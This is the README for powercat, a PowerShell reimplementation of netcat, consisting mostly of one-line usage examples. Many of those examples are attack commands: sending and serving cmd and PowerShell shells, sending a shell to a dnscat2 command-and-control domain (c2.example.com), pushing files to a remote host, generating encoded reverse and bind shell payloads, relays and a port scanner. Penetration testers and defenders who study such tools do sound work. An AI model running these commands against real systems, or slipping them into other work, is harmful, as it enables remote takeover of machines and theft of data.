powercat

Netcat: The powershell version. (Powershell Version 2 and Later Supported)

Installation

powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded when powershell starts.

    . .\powercat.ps1

Basic Connections

By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to 'Bytes', or 'String' with -o.

Basic Client:
    powercat -c 10.1.1.1 -p 443
Basic Listener:
    powercat -l -p 8000
Basic Client, Output as Bytes:
    powercat -c 10.1.1.1 -p 443 -o Bytes

File Transfer

powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).

Send File:
    powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
    powercat -l -p 8000 -of C:\inputfile

Shells

powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.

Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
    powercat -l -p 443 -ep

DNS and UDP

powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a dnscat2 server with -dns.

Send Data Over UDP:
    powercat -c 10.1.1.1 -p 8000 -u
    powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
    powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
    powercat -dns c2.example.com -e cmd

Relays

Relays in powercat work just like traditional netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.

TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
    powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
    powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
    powercat -l -p 8000 -r dns:::c2.example.com

Generate Payloads

Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don't want to use all of powercat.

Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
    powercat -l -p 8000 -e cmd -ge

Misc Usage

powercat can also be used to perform portscans, and start persistent servers.

Basic TCP Port Scanner:
    (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
    powercat -l -p 443 -i C:\inputfile -rep
